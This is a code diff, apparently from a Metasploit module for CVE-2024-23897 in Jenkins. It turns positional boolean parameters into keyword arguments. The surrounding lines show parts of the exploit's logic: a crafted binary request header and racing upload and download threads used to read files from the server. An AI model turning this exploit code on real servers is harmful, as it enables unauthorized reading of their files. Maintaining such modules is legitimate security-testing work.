@@ -130,7 +130,7 @@ def parameter_one
130
130
"\x03 \x00 \x00 \x01 \x31 \x00 \x00 \x00 "
131
131
end
132
132
133
- def data_generator ( pad = false )
133
+ def data_generator ( pad : false )
134
134
data = [ ]
135
135
data << request_header
136
136
data << parameter_one if pad
@@ -143,7 +143,7 @@ def data_generator(pad = false)
143
143
data . join ( '' )
144
144
end
145
145
146
- def upload_request ( uuid , multi_line_file = true )
146
+ def upload_request ( uuid , multi_line_file : true )
147
147
# send upload request asking for file
148
148
149
149
# In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request
@@ -161,7 +161,7 @@ def upload_request(uuid, multi_line_file = true)
161
161
'vars_get' => {
162
162
'remoting' => 'false'
163
163
} ,
164
- 'data' => data_generator ( multi_line_file )
164
+ 'data' => data_generator ( pad : multi_line_file )
165
165
)
166
166
167
167
fail_with ( Failure ::Unreachable , "#{ peer } - Could not connect to web service - no response" ) if res . nil?
@@ -241,7 +241,7 @@ def run
241
241
use_pad = false
242
242
threads = [ ]
243
243
threads << framework . threads . spawn ( 'CVE-2024-23897' , false ) do
244
- upload_request ( uuid , use_pad ) # try single line file first since we get an error if we have more content to get
244
+ upload_request ( uuid , multi_line_file : use_pad ) # try single line file first since we get an error if we have more content to get
245
245
end
246
246
threads << framework . threads . spawn ( 'CVE-2024-23897' , false ) do
247
247
download_request ( uuid )
@@ -259,7 +259,7 @@ def run
259
259
use_pad = true
260
260
threads = [ ]
261
261
threads << framework . threads . spawn ( 'CVE-2024-23897-upload' , false ) do
262
- upload_request ( uuid , use_pad )
262
+ upload_request ( uuid , multi_line_file : use_pad )
263
263
end
264
264
threads << framework . threads . spawn ( 'CVE-2024-23897-download' , false ) do
265
265
download_request ( uuid )
0 commit comments